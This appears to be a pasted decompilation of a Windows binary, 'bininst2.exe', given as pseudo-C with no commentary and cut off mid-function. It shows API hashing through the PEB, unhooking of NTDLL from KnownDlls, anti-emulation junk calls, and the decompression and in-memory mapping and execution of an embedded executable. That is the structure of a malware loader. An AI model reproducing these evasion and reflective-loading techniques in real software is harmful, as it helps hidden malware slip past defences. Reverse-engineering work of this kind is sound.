bininst2.exe decompiled
unknown
plain_text
8 months ago
89 kB
6
Indexable
#include "out.h"
void __cdecl free(void *_Memory)
{
HANDLE hHeap;
// 0x1000 1 free
hHeap = GetProcessHeap();
// WARNING: Could not recover jumptable at 0x00014000101c. Too many branches
// WARNING: Treating indirect jump as call
HeapFree(hHeap,0,_Memory);
return;
}
undefined8 FUN_140001030(longlong *param_1,longlong param_2,ulonglong *param_3)
{
longlong lVar1;
ulonglong uVar2;
int local_res8;
uVar2 = param_1[1];
if (*param_3 <= (ulonglong)param_1[1]) {
uVar2 = *param_3;
}
if (uVar2 != 0) {
lVar1 = *param_1;
local_res8 = 0;
if (uVar2 != 0) {
do {
*(undefined *)(local_res8 + param_2) = *(undefined *)(local_res8 + lVar1);
local_res8 = local_res8 + 1;
} while ((ulonglong)(longlong)local_res8 < uVar2);
}
*param_1 = *param_1 + uVar2;
param_1[1] = param_1[1] - uVar2;
}
*param_3 = uVar2;
return 0;
}
void * __cdecl malloc(size_t _Size)
{
HANDLE hHeap;
LPVOID pvVar1;
// 0x10a0 2 malloc
hHeap = GetProcessHeap();
// WARNING: Could not recover jumptable at 0x0001400010bf. Too many branches
// WARNING: Treating indirect jump as call
pvVar1 = HeapAlloc(hHeap,8,_Size);
return pvVar1;
}
longlong FUN_1400010d0(longlong param_1,longlong param_2,ulonglong param_3)
{
undefined4 local_res8;
local_res8 = 0;
if (param_3 != 0) {
do {
*(undefined *)(local_res8 + param_1) = *(undefined *)(local_res8 + param_2);
local_res8 = local_res8 + 1;
} while ((ulonglong)(longlong)local_res8 < param_3);
}
return param_1;
}
undefined * FUN_140001120(undefined *param_1,undefined param_2,longlong param_3)
{
undefined *puVar1;
puVar1 = param_1;
if (param_3 != 0) {
for (; param_3 != 0; param_3 = param_3 + -1) {
*puVar1 = param_2;
puVar1 = puVar1 + 1;
}
}
return param_1;
}
ulonglong FUN_140001150(longlong param_1,longlong param_2,ulonglong param_3)
{
longlong lVar1;
void *pvVar2;
int local_res8;
if (param_3 != 0) {
pvVar2 = realloc(*(void **)(param_1 + 0x10),*(longlong *)(param_1 + 0x18) + param_3);
lVar1 = *(longlong *)(param_1 + 0x18);
*(void **)(param_1 + 0x10) = pvVar2;
local_res8 = 0;
if (param_3 != 0) {
do {
*(undefined *)((longlong)pvVar2 + local_res8 + lVar1) = *(undefined *)(local_res8 + param_2)
;
local_res8 = local_res8 + 1;
} while ((ulonglong)(longlong)local_res8 < param_3);
}
*(longlong *)(param_1 + 0x18) = *(longlong *)(param_1 + 0x18) + param_3;
}
return param_3;
}
void * __cdecl realloc(void *_Memory,size_t _NewSize)
{
HANDLE pvVar1;
LPVOID pvVar2;
SIZE_T SVar3;
int local_res10;
// 0x11e0 3 realloc
if (_NewSize == 0) {
return (void *)0x0;
}
if (_Memory != (void *)0x0) {
pvVar1 = GetProcessHeap();
SVar3 = HeapSize(pvVar1,0,_Memory);
if (SVar3 != _NewSize) {
pvVar1 = GetProcessHeap();
pvVar2 = HeapAlloc(pvVar1,8,_NewSize);
local_res10 = 0;
if (SVar3 != 0) {
do {
*(undefined *)((longlong)local_res10 + (longlong)pvVar2) =
*(undefined *)((longlong)local_res10 + (longlong)_Memory);
local_res10 = local_res10 + 1;
} while ((ulonglong)(longlong)local_res10 < SVar3);
}
if (SVar3 >> 2 != 0) {
FUN_140001120((undefined *)_Memory,0,(SVar3 >> 2) << 2);
}
pvVar1 = GetProcessHeap();
HeapFree(pvVar1,0,_Memory);
return pvVar2;
}
return _Memory;
}
pvVar1 = GetProcessHeap();
// WARNING: Could not recover jumptable at 0x000140001220. Too many branches
// WARNING: Treating indirect jump as call
pvVar2 = HeapAlloc(pvVar1,8,_NewSize);
return pvVar2;
}
ulonglong FUN_140001300(int param_1,undefined8 param_2,undefined8 param_3,undefined8 *param_4,
undefined8 *param_5)
{
LPVOID lpMem;
ulonglong uVar1;
HANDLE hHeap;
ulonglong uVar2;
undefined *local_res10;
undefined8 local_28;
undefined8 local_20;
LPVOID local_18;
undefined8 local_10;
local_res10 = FUN_1400022a0();
local_18 = (LPVOID)0x0;
local_10 = 0;
local_28 = param_2;
local_20 = param_3;
uVar1 = FUN_140002320((longlong)local_res10,FUN_140001030,&local_28,FUN_140001150,&local_28,
param_1);
lpMem = local_18;
uVar2 = uVar1 & 0xffffffff;
if ((int)uVar1 == 0) {
FUN_1400022f0(&local_res10);
*param_4 = local_18;
*param_5 = local_10;
uVar2 = 0;
}
else {
if (local_18 != (LPVOID)0x0) {
hHeap = GetProcessHeap();
HeapFree(hHeap,0,lpMem);
}
FUN_1400022f0(&local_res10);
}
return uVar2;
}
int __cdecl strncmp(char *_Str1,char *_Str2,size_t _MaxCount)
{
char cVar1;
int iVar2;
char *pcVar3;
char cVar4;
// 0x13e0 4 strncmp
cVar1 = *_Str1;
cVar4 = *_Str2;
if (cVar1 == cVar4) {
pcVar3 = _Str2;
do {
if (cVar1 == '\0') {
return 0;
}
cVar1 = pcVar3[(longlong)(_Str1 + (1 - (longlong)_Str2))];
pcVar3 = pcVar3 + 1;
cVar4 = *pcVar3;
} while (cVar1 == cVar4);
}
iVar2 = 1;
if (cVar1 < cVar4) {
iVar2 = -1;
}
return iVar2;
}
longlong FUN_140001420(short *param_1,char *param_2,longlong param_3)
{
char cVar1;
int iVar2;
iVar2 = (int)param_3;
do {
iVar2 = iVar2 + -1;
if (iVar2 < 0) {
return param_3 - iVar2;
}
cVar1 = *param_2;
param_2 = param_2 + 1;
*param_1 = (short)cVar1;
param_1 = param_1 + 1;
} while (cVar1 != 0);
return (param_3 - iVar2) + -1;
}
ulonglong FUN_140001460(char *param_1)
{
ulonglong uVar1;
ulonglong uVar2;
ulonglong uVar3;
uVar1 = FUN_140001540(param_1);
uVar2 = uVar1;
uVar3 = 0;
if (uVar1 != 0) {
while (uVar2 = uVar3, param_1[uVar2] != '.') {
uVar3 = (ulonglong)((int)uVar2 + 1);
if (uVar1 <= uVar3) {
return uVar3;
}
}
}
return uVar2;
}
uint FUN_1400014b0(char *param_1)
{
char cVar1;
ulonglong uVar2;
int iVar3;
uint uVar4;
uVar4 = 0;
uVar2 = FUN_140001540(param_1);
iVar3 = 0;
if (uVar2 != 0) {
do {
cVar1 = *param_1;
param_1 = param_1 + 1;
iVar3 = iVar3 + 1;
uVar4 = (uVar4 >> 7 | uVar4 << 0x19) + (int)cVar1;
} while ((ulonglong)(longlong)iVar3 < uVar2);
}
return uVar4;
}
void FUN_140001500(short *param_1,longlong param_2)
{
uint uVar1;
longlong lVar2;
*(longlong *)(param_1 + 4) = param_2;
if (param_2 != 0) {
lVar2 = -1;
do {
lVar2 = lVar2 + 1;
} while (*(short *)(param_2 + lVar2 * 2) != 0);
uVar1 = (int)lVar2 * 2;
if (0xfffc < uVar1) {
uVar1 = 0xfffc;
}
*param_1 = (short)uVar1;
param_1[1] = (short)uVar1 + 2;
return;
}
param_1[0] = 0;
param_1[1] = 0;
return;
}
longlong FUN_140001540(char *param_1)
{
char cVar1;
char *pcVar2;
cVar1 = *param_1;
pcVar2 = param_1;
while (cVar1 != '\0') {
pcVar2 = pcVar2 + 1;
cVar1 = *pcVar2;
}
return (longlong)pcVar2 - (longlong)param_1;
}
longlong FUN_140001560(short *param_1)
{
short sVar1;
short *psVar2;
sVar1 = *param_1;
psVar2 = param_1;
while (sVar1 != 0) {
psVar2 = psVar2 + 1;
sVar1 = *psVar2;
}
return (longlong)psVar2 - (longlong)param_1 >> 1;
}
uint FUN_140001590(uint param_1)
{
if ((byte)((char)param_1 + 0x9fU) < 0x1a) {
return param_1 - 0x20;
}
return param_1 & 0xff;
}
void FUN_1400015a0(undefined *param_1,ulonglong param_2)
{
if (param_2 >> 2 != 0) {
FUN_140001120(param_1,0,(param_2 >> 2) << 2);
return;
}
return;
}
short * FUN_1400015c0(short *param_1,short *param_2)
{
short sVar1;
longlong lVar2;
if ((param_1 != (short *)0x0) && (param_2 != (short *)0x0)) {
sVar1 = *param_1;
while (sVar1 != 0) {
param_1 = param_1 + 1;
sVar1 = *param_1;
}
sVar1 = *param_2;
if (sVar1 != 0) {
lVar2 = (longlong)param_2 - (longlong)param_1;
do {
*param_1 = sVar1;
param_1 = param_1 + 1;
sVar1 = *(short *)(lVar2 + (longlong)param_1);
} while (sVar1 != 0);
}
*param_1 = 0;
}
return param_1;
}
short * FUN_140001610(short *param_1,short *param_2)
{
short *psVar1;
short sVar2;
if (((param_1 != (short *)0x0) && (param_2 != (short *)0x0)) && (param_1 != param_2)) {
sVar2 = *param_2;
psVar1 = param_1;
if (sVar2 != 0) {
do {
*psVar1 = sVar2;
psVar1 = psVar1 + 1;
sVar2 = *(short *)(((longlong)param_2 - (longlong)param_1) + (longlong)psVar1);
} while (sVar2 != 0);
}
*psVar1 = 0;
}
return param_1;
}
undefined8 FUN_140001650(char *param_1)
{
short sVar1;
undefined8 *puVar2;
short *psVar3;
uint uVar4;
uint uVar5;
ulonglong uVar6;
char local_128 [272];
if (param_1 != (char *)0x0) {
for (puVar2 = *(undefined8 **)(*(longlong *)((longlong)ProcessEnvironmentBlock + 0x18) + 0x20);
(puVar2 != (undefined8 *)0x0 && (psVar3 = (short *)puVar2[10], psVar3 != (short *)0x0));
puVar2 = (undefined8 *)*puVar2) {
if (*(ushort *)(puVar2 + 9) < 0x103) {
FUN_140001120(local_128,0,0x104);
uVar6 = 0;
sVar1 = *psVar3;
while ((sVar1 != 0 && ((uint)uVar6 < 0x103))) {
uVar4 = FUN_140001590((uint)*(byte *)(psVar3 + uVar6));
psVar3 = (short *)puVar2[10];
local_128[uVar6] = (char)uVar4;
uVar6 = (ulonglong)((uint)uVar6 + 1);
sVar1 = psVar3[uVar6];
}
local_128[uVar6] = '\0';
uVar4 = FUN_1400014b0(param_1);
uVar5 = FUN_1400014b0(local_128);
if (uVar5 == uVar4) {
return puVar2[4];
}
}
}
}
return 0;
}
char * FUN_140001730(longlong param_1,uint param_2)
{
uint uVar1;
uint uVar2;
longlong lVar3;
ulonglong uVar4;
ulonglong uVar5;
char *pcVar6;
uint *puVar7;
int iVar8;
ushort *puVar9;
longlong lVar10;
char local_248 [272];
char local_138 [272];
if ((param_1 != 0) && (param_2 != 0)) {
lVar10 = (longlong)*(int *)(param_1 + 0x3c);
lVar3 = (ulonglong)*(uint *)(lVar10 + 0x88 + param_1) + param_1;
uVar2 = *(uint *)(lVar3 + 0x1c);
puVar7 = (uint *)((ulonglong)*(uint *)(lVar3 + 0x20) + param_1);
iVar8 = *(int *)(lVar3 + 0x18);
puVar9 = (ushort *)((ulonglong)*(uint *)(lVar3 + 0x24) + param_1);
while (iVar8 != 0) {
iVar8 = iVar8 + -1;
uVar1 = FUN_1400014b0((char *)((ulonglong)*puVar7 + param_1));
if (uVar1 == param_2) {
uVar1 = *(uint *)(lVar10 + 0x88 + param_1);
uVar2 = *(uint *)((ulonglong)uVar2 + param_1 + (ulonglong)*puVar9 * 4);
pcVar6 = (char *)((ulonglong)uVar2 + param_1);
if (uVar2 < uVar1) {
return pcVar6;
}
if (uVar1 + *(int *)(lVar10 + 0x8c + param_1) < uVar2) {
return pcVar6;
}
FUN_140001120(local_248,0,0x104);
FUN_140001120(local_138,0,0x104);
uVar4 = FUN_140001460(pcVar6);
if ((int)uVar4 == 0) {
return (char *)0x0;
}
FUN_1400010d0((longlong)local_248,(longlong)pcVar6,uVar4 & 0xffffffff);
uVar5 = FUN_140001540(pcVar6 + (uVar4 & 0xffffffff) + 1);
FUN_1400010d0((longlong)local_138,(longlong)(pcVar6 + (uVar4 & 0xffffffff) + 1),uVar5);
lVar3 = FUN_140001900(local_248);
if (lVar3 == 0) {
return pcVar6;
}
uVar2 = FUN_1400014b0(local_138);
pcVar6 = FUN_140001730(lVar3,uVar2);
return pcVar6;
}
puVar7 = puVar7 + 1;
puVar9 = puVar9 + 1;
}
}
return (char *)0x0;
}
void FUN_1400018b0(void)
{
undefined4 local_28;
undefined4 local_24;
undefined4 local_20;
undefined4 local_1c;
undefined4 local_18;
undefined4 local_14;
undefined4 local_10;
local_28 = 0x14044ae;
local_24 = 0xe67c7320;
local_20 = 0xac2eda02;
local_1c = 0xd443ec8c;
local_18 = 0x92dd00b3;
local_14 = 0x12d71086;
local_10 = 0x7b3f64a4;
FUN_140004830(7,&local_28);
return;
}
undefined8 FUN_140001900(char *param_1)
{
int iVar1;
longlong lVar2;
code *pcVar3;
undefined8 local_res10 [3];
short local_228;
short local_226;
undefined4 local_224;
short *local_220;
short local_218 [264];
local_224 = 0;
FUN_140001120((undefined *)local_218,0,0x208);
local_res10[0] = 0;
lVar2 = FUN_140001540(param_1);
FUN_140001420(local_218,param_1,lVar2);
lVar2 = FUN_140001560(local_218);
local_228 = (short)lVar2 * 2;
local_226 = local_228 + 2;
local_220 = local_218;
lVar2 = FUN_140001650("NTDLL.DLL");
pcVar3 = (code *)FUN_140001730(lVar2,0xcc4c8b22);
if (pcVar3 != (code *)0x0) {
iVar1 = (*pcVar3)(0,0,&local_228,local_res10);
if (-1 < iVar1) {
return local_res10[0];
}
}
return 0;
}
undefined8 FUN_1400019c0(void)
{
int iVar1;
longlong lVar2;
short *psVar3;
int *piVar4;
uint *puVar5;
ulonglong uVar6;
ulonglong uVar7;
ulonglong uVar8;
ulonglong uVar9;
int local_res8 [2];
int local_res10 [2];
undefined8 in_stack_fffffffffffffd88;
undefined4 uVar10;
short local_268 [8];
undefined4 local_258 [2];
undefined8 local_250;
short *local_248;
undefined4 local_240;
undefined8 local_238;
undefined8 uStack_230;
short local_228 [264];
uVar10 = (undefined4)((ulonglong)in_stack_fffffffffffffd88 >> 0x20);
uVar7 = 0;
local_res8[0] = 0;
FUN_140001610(local_228,L"\\KnownDlls\\");
FUN_1400015c0(local_228,L"NTDLL.DLL");
FUN_140001500(local_268,(longlong)local_228);
local_248 = local_268;
local_258[0] = 0x30;
local_250 = 0;
local_240 = 0x40;
local_238 = 0;
uStack_230 = 0;
lVar2 = FUN_140004bd0(0xc,(longlong)local_258,local_res10);
if ((local_res10[0] < 0) || (lVar2 == -1)) {
FUN_140001650("NTDLL.DLL");
}
else {
lVar2 = FUN_140004a40(lVar2,0,0,0,CONCAT44(uVar10,2),local_res10);
psVar3 = (short *)FUN_140001650("NTDLL.DLL");
if (((((-1 < local_res10[0]) && (lVar2 != 0)) && (psVar3 != (short *)0x0)) &&
((*psVar3 == 0x5a4d &&
(piVar4 = (int *)((longlong)*(int *)(psVar3 + 0x1e) + (longlong)psVar3), *piVar4 == 0x4550)
))) && (uVar6 = (ulonglong)*(ushort *)((longlong)piVar4 + 6), uVar6 != 0)) {
puVar5 = (uint *)((longlong)piVar4 + (ulonglong)*(ushort *)(piVar4 + 5) + 0x24);
uVar8 = uVar7;
uVar9 = uVar7;
do {
if ((puVar5[-3] | 0x20202020) == 0x7865742e) {
uVar9 = (ulonglong)puVar5[-1];
uVar7 = (ulonglong)*puVar5 + (longlong)psVar3;
uVar8 = (ulonglong)*puVar5 + lVar2;
}
puVar5 = puVar5 + 10;
uVar6 = uVar6 - 1;
} while (uVar6 != 0);
if (((uVar9 != 0) && (uVar7 != 0)) &&
((uVar8 != 0 && (iVar1 = FUN_140004c70(0,uVar7,uVar9,0x80,local_res8), -1 < local_res8[0]))
)) {
FUN_1400010d0(uVar7,uVar8,uVar9);
FUN_140004c70(0,uVar7,uVar9,iVar1,local_res8);
if ((-1 < local_res8[0]) && (FUN_140004d60(0,lVar2,local_res8), -1 < local_res8[0])) {
return 1;
}
}
}
}
return 0;
}
undefined8 entry(void)
{
uint uVar1;
longlong lVar2;
void *pvVar3;
DWORD DVar4;
uint uVar5;
int iVar6;
HANDLE pvVar7;
LPVOID lpMem;
char *pcVar8;
ulonglong uVar9;
longlong local_res8;
short *local_res10;
pvVar3 = ProcessEnvironmentBlock;
pvVar7 = GetProcessHeap();
lpMem = HeapAlloc(pvVar7,8,0x400);
DVar4 = GetLastError();
if (DVar4 == 0x361c) {
ReleaseSRWLockExclusive((PSRWLOCK)0x0);
ReleaseSRWLockShared((PSRWLOCK)0x0);
SetCriticalSectionSpinCount((LPCRITICAL_SECTION)0x0,0);
TryAcquireSRWLockExclusive((PSRWLOCK)0x0);
WakeAllConditionVariable((PCONDITION_VARIABLE)0x0);
SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)0x0);
UnhandledExceptionFilter((_EXCEPTION_POINTERS *)0x0);
CheckMenuItem((HMENU)0x0,0,0);
GetMenu((HWND)0x0);
GetSystemMenu((HWND)0x0,0);
GetMenuItemID((HMENU)0x0,0);
EnableMenuItem((HMENU)0x0,0,0);
MessageBeep(0);
GetLastError();
MessageBoxW((HWND)0x0,(LPCWSTR)0x0,(LPCWSTR)0x0,0);
MessageBoxA((HWND)0x0,(LPCSTR)0x0,(LPCSTR)0x0,0);
UpdateWindow((HWND)0x0);
GetWindowContextHelpId((HWND)0x0);
}
else {
pvVar7 = GetProcessHeap();
HeapFree(pvVar7,0,lpMem);
}
if ((pvVar3 != (void *)0x0) && (*(int *)((longlong)pvVar3 + 0x118) == 10)) {
uVar9 = 0;
local_res10 = (short *)0x0;
local_res8 = 0;
lVar2 = *(longlong *)((longlong)pvVar3 + 0x10);
iVar6 = *(int *)(lVar2 + 0x3c);
pcVar8 = (char *)(lVar2 + 0x108 + (longlong)iVar6);
do {
uVar5 = FUN_1400014b0(pcVar8);
if (uVar5 == 0x9f520b2d) {
uVar5 = *(uint *)(pcVar8 + 0xc);
uVar1 = *(uint *)(pcVar8 + 0x10);
if ((ulonglong)uVar5 + lVar2 == 0) {
return 0xffffffff;
}
if (uVar1 == 0) {
return 0xffffffff;
}
iVar6 = FUN_1400018b0();
if (iVar6 == 0) {
return 0xffffffff;
}
uVar9 = FUN_140001300(1,(ulonglong)uVar5 + lVar2,(ulonglong)uVar1,&local_res10,&local_res8);
if ((int)uVar9 != 0) {
return 0xffffffff;
}
FUN_140001dc0(local_res10,local_res8);
return 0;
}
pcVar8 = pcVar8 + 0x28;
uVar9 = uVar9 + 1;
} while (uVar9 <= *(ushort *)((longlong)iVar6 + 6 + lVar2));
}
return 0xffffffff;
}
void FUN_140001dc0(short *param_1,longlong param_2)
{
undefined8 *puVar1;
ushort uVar2;
undefined8 *puVar3;
ushort uVar4;
uint uVar5;
undefined *puVar6;
longlong lVar7;
longlong lVar8;
char *pcVar9;
code *pcVar10;
longlong *plVar11;
uint *puVar12;
uint uVar13;
longlong *plVar15;
longlong *plVar16;
uint *puVar17;
ulonglong uVar18;
int *piVar19;
undefined8 in_stack_ffffffffffffff58;
ulonglong uVar14;
uVar13 = (uint)((ulonglong)in_stack_ffffffffffffff58 >> 0x20);
if ((((param_1 != (short *)0x0) && (uVar18 = 0, param_2 != 0)) && (*param_1 == 0x5a4d)) &&
(piVar19 = (int *)((longlong)*(int *)(param_1 + 0x1e) + (longlong)param_1), *piVar19 == 0x4550)
) {
if ((((piVar19 != (int *)0x0) && ((uint *)(piVar19 + 0x24) != (uint *)0x0)) &&
((piVar19 != (int *)0xffffffffffffff30 &&
(((uint *)(piVar19 + 0x2c) != (uint *)0x0 && (piVar19 != (int *)0xffffffffffffff60)))))) &&
(piVar19 != (int *)0xfffffffffffffef8)) {
FUN_140004d60(0,*(longlong *)(piVar19 + 0xc),(undefined4 *)0x0);
puVar6 = (undefined *)
FUN_1400048d0(0,*(longlong *)(piVar19 + 0xc),(ulonglong)(uint)piVar19[0x14],0,
(ulonglong)uVar13 << 0x20,(undefined4 *)0x0);
if ((puVar6 != (undefined *)0x0) ||
(puVar6 = (undefined *)FUN_140004a00((ulonglong)(uint)piVar19[0x14],(undefined4 *)0x0),
puVar6 != (undefined *)0x0)) {
FUN_1400010d0((longlong)puVar6,(longlong)param_1,(ulonglong)(uint)piVar19[0x15]);
if (*(short *)((longlong)piVar19 + 6) != 0) {
puVar12 = (uint *)(piVar19 + 0x47);
uVar14 = uVar18;
do {
FUN_1400010d0((longlong)(puVar6 + puVar12[-2]),(ulonglong)*puVar12 + (longlong)param_1,
(ulonglong)puVar12[-1]);
puVar12 = puVar12 + 10;
uVar13 = (int)uVar14 + 1;
uVar14 = (ulonglong)uVar13;
} while ((int)uVar13 < (int)(uint)*(ushort *)((longlong)piVar19 + 6));
}
if (piVar19[0x25] != 0) {
do {
lVar7 = (uint)piVar19[0x24] + uVar18;
uVar13 = *(uint *)(puVar6 + lVar7);
if ((uVar13 == 0) && (*(int *)(puVar6 + lVar7 + 0x10) == 0)) break;
uVar14 = (ulonglong)*(uint *)(puVar6 + lVar7 + 0x10);
lVar8 = FUN_140001900(puVar6 + *(uint *)(puVar6 + lVar7 + 0xc));
if (lVar8 == 0) {
return;
}
if (uVar13 == 0) {
uVar13 = *(uint *)(puVar6 + lVar7 + 0x10);
}
plVar11 = (longlong *)(puVar6 + uVar13);
if (*(longlong *)(puVar6 + uVar14) != 0) {
plVar15 = (longlong *)(puVar6 + uVar14);
do {
lVar7 = *plVar11;
if (lVar7 < 0) {
pcVar9 = (char *)((ulonglong)
*(uint *)((ulonglong)
*(uint *)((ulonglong)
*(uint *)((longlong)*(int *)(lVar8 + 0x3c) +
0x88 + lVar8) + 0x1c + lVar8) +
lVar8 + lVar7 * 4) + lVar8);
}
else {
uVar5 = FUN_1400014b0(puVar6 + lVar7 + 2);
pcVar9 = FUN_140001730(lVar8,uVar5);
}
if (pcVar9 == (char *)0x0) {
return;
}
plVar16 = plVar15 + 1;
*plVar15 = (longlong)pcVar9;
plVar11 = (longlong *)((uVar13 - uVar14) + (longlong)plVar16);
plVar15 = plVar16;
} while (*plVar16 != 0);
}
uVar18 = uVar18 + 0x14;
} while (uVar18 < (uint)piVar19[0x25]);
}
if (puVar6 != *(undefined **)(piVar19 + 0xc)) {
lVar7 = (longlong)puVar6 - (longlong)*(undefined **)(piVar19 + 0xc);
uVar13 = *(uint *)(puVar6 + (uint)piVar19[0x2c]);
puVar12 = (uint *)(puVar6 + (uint)piVar19[0x2c]);
while (uVar13 != 0) {
puVar17 = puVar12 + 2;
if (puVar17 != (uint *)((ulonglong)puVar12[1] + (longlong)puVar12)) {
do {
uVar2 = *(ushort *)puVar17;
uVar13 = (uint)uVar2;
uVar4 = uVar2 >> 0xc;
if (uVar4 != 0) {
if (uVar4 == 1) {
*(short *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar13 & 0xfff)) =
*(short *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar13 & 0xfff)) +
(short)((ulonglong)lVar7 >> 0x10);
}
else if (uVar4 == 2) {
*(short *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar13 & 0xfff)) =
*(short *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar13 & 0xfff)) +
(short)lVar7;
}
else if (uVar4 == 3) {
*(int *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar13 & 0xfff)) =
*(int *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar13 & 0xfff)) +
(int)lVar7;
}
else {
if (uVar4 != 10) {
return;
}
*(longlong *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar2 & 0xfff)) =
*(longlong *)(puVar6 + (ulonglong)*puVar12 + (ulonglong)(uVar2 & 0xfff)) +
lVar7;
}
}
puVar17 = (uint *)((longlong)puVar17 + 2);
} while (puVar17 != (uint *)((ulonglong)puVar12[1] + (longlong)puVar12));
}
puVar12 = puVar17;
uVar13 = *puVar17;
}
}
if (piVar19[0x29] != 0) {
uVar13 = piVar19[0x28];
lVar7 = FUN_140001650("KERNEL32.DLL");
pcVar10 = (code *)FUN_140001730(lVar7,0x9219585c);
if (pcVar10 != (code *)0x0) {
(*pcVar10)(puVar6 + uVar13,(uint)piVar19[0x29] / 0xc - 1,puVar6);
}
}
FUN_1400019c0();
uVar18 = 0;
if (*(short *)((longlong)piVar19 + 6) != 0) {
do {
uVar13 = piVar19[uVar18 * 10 + 0x4b];
uVar5 = (int)uVar13 >> 0x1f & 8;
if ((uVar13 >> 0x1e & 1) != 0) {
uVar5 = 2;
}
if ((uVar13 & 0xc0000000) == 0xc0000000) {
uVar5 = 4;
}
if ((uVar13 >> 0x1d & 1) != 0) {
uVar5 = 0x10;
}
if ((uVar13 & 0xa0000000) == 0xa0000000) {
uVar5 = 0x80;
}
if ((uVar13 & 0x60000000) == 0x60000000) {
uVar5 = 0x20;
}
if ((uVar13 & 0xe0000000) == 0xe0000000) {
uVar5 = 0x40;
}
FUN_140004c70(0,(longlong)(puVar6 + (uint)piVar19[uVar18 * 10 + 0x45]),
(ulonglong)(uint)piVar19[uVar18 * 10 + 0x46],uVar5,(undefined4 *)0x0);
uVar13 = (int)uVar18 + 1;
uVar18 = (ulonglong)uVar13;
} while (uVar13 < *(ushort *)((longlong)piVar19 + 6));
}
if (piVar19[0x35] != 0) {
puVar3 = *(undefined8 **)(puVar6 + (ulonglong)(uint)piVar19[0x34] + 0x18);
pcVar10 = (code *)*puVar3;
while (pcVar10 != (code *)0x0) {
(*pcVar10)(puVar6,1);
puVar1 = puVar3 + 1;
puVar3 = puVar3 + 1;
pcVar10 = (code *)*puVar1;
}
}
uVar13 = piVar19[10];
FUN_1400015a0(puVar6,(ulonglong)(uint)piVar19[0x45]);
(*(code *)(puVar6 + uVar13))();
}
}
}
return;
}
undefined * FUN_1400022a0(void)
{
undefined *puVar1;
puVar1 = (undefined *)malloc(0x50030);
FUN_140001120(puVar1,0,0x50030);
FUN_1400042f0((undefined8 *)(puVar1 + 0x50000),0,0,0,0);
return puVar1;
}
void FUN_1400022f0(undefined8 *param_1)
{
if ((void *)*param_1 != (void *)0x0) {
free((void *)*param_1);
}
*param_1 = 0;
return;
}
ulonglong FUN_140002320(longlong param_1,undefined *param_2,undefined8 param_3,undefined *param_4,
undefined8 param_5,int param_6)
{
undefined8 *puVar1;
int iVar2;
bool bVar3;
int iVar4;
uint uVar5;
ulonglong *puVar6;
ulonglong uVar7;
undefined7 extraout_var;
ulonglong uVar8;
ulonglong *puVar9;
ulonglong uVar10;
ulonglong uVar11;
ulonglong local_188;
ulonglong local_180;
ulonglong local_178 [2];
uint local_168 [2];
ulonglong local_160;
undefined local_158 [3];
char local_155;
ulonglong local_150;
uint local_140 [2];
code *local_138;
code *local_130;
uint local_120;
code *local_110;
undefined8 local_108;
undefined8 uStack_100;
undefined8 local_f8;
undefined8 uStack_f0;
undefined8 local_e8;
undefined8 uStack_e0;
undefined8 local_d8;
undefined8 uStack_d0;
undefined8 local_c8;
undefined8 uStack_c0;
undefined8 local_b8;
undefined8 uStack_b0;
undefined8 local_a8;
undefined8 uStack_a0;
undefined8 local_98;
undefined8 uStack_90;
undefined8 local_88;
undefined4 local_78 [6];
code *local_60;
iVar2 = param_6;
uVar7 = 0;
uVar5 = 0xffffffff;
if (param_6 == 1) {
FUN_140004330(local_140);
}
else {
if (param_6 != 0) {
return 10;
}
FUN_1400041c0();
FUN_140004600(local_140);
}
local_88 = 0;
local_108 = 0;
uStack_100 = 0;
local_168[0] = 0;
local_f8 = 0;
uStack_f0 = 0;
local_160 = 0;
local_e8 = 0;
uStack_e0 = 0;
local_d8 = 0;
uStack_d0 = 0;
local_c8 = 0;
uStack_c0 = 0;
local_b8 = 0;
uStack_b0 = 0;
local_a8 = 0;
uStack_a0 = 0;
local_98 = 0;
uStack_90 = 0;
FUN_140003ae0((longlong)&local_108);
puVar1 = (undefined8 *)(param_1 + 0x50000);
puVar6 = (ulonglong *)(*(code *)*puVar1)(puVar1,local_140[0]);
local_188 = (ulonglong)local_140[0];
(*local_138)(local_158);
iVar4 = (*(code *)param_2)(param_3,puVar6,&local_188);
if ((iVar4 == 0) && (local_188 == local_140[0])) {
iVar4 = (*local_130)(puVar6,local_158);
if (iVar4 == 0) {
puVar9 = puVar6;
if (iVar2 == 0) {
FUN_140004330(local_78);
(*local_60)(local_178,local_158);
puVar9 = local_178;
}
FUN_1400026d0(&local_108,(byte *)puVar9,5,puVar1);
(**(code **)(param_1 + 0x50008))(puVar1,puVar6);
local_180 = 0x40000;
local_178[0] = 0x10000;
iVar4 = (*(code *)param_2)(param_3,param_1,local_178);
uVar11 = uVar7;
while (iVar4 == 0) {
if (local_178[0] == 0) {
uVar7 = 0x12;
goto LAB_140002647;
}
param_6 = 0;
uVar10 = uVar7;
local_188 = local_178[0];
while( true ) {
bVar3 = FUN_140003670((char *)&local_108,param_1 + 0x10000,&local_180,
(byte *)(uVar10 + param_1),&local_188,0,¶m_6);
if ((int)CONCAT71(extraout_var,bVar3) != 0) {
uVar7 = 0x11;
goto LAB_140002647;
}
if ((iVar2 == 0) && (local_180 != 0)) {
uVar5 = FUN_140004270(uVar5,(byte *)(param_1 + 0x10000),local_180);
}
uVar11 = uVar11 + local_180;
uVar8 = (*(code *)param_4)(param_5,param_1 + 0x10000);
if (uVar8 != local_180) {
uVar7 = 0xf;
goto LAB_140002647;
}
uVar10 = uVar10 + local_188;
if (local_178[0] <= uVar10) break;
local_188 = local_178[0] - uVar10;
if (param_6 == 1) goto LAB_1400025ad;
}
if (param_6 == 1) {
LAB_1400025ad:
if (local_120 != 0) {
if ((local_120 <= local_188) && (local_110 != (code *)0x0)) {
(*local_110)(uVar10 + param_1,local_168);
}
LAB_1400025d4:
if (local_120 != 0) {
if (local_168[0] == ~uVar5) {
if (local_160 != uVar11) {
uVar7 = 0x14;
}
}
else {
uVar7 = 0x13;
}
goto LAB_140002647;
}
}
if ((local_155 == '\0') && (local_150 != uVar11)) {
uVar7 = 0x14;
}
goto LAB_140002647;
}
if ((local_155 == '\0') && (local_150 <= uVar11)) goto LAB_1400025d4;
local_180 = 0x40000;
local_178[0] = 0x10000;
local_188 = 0;
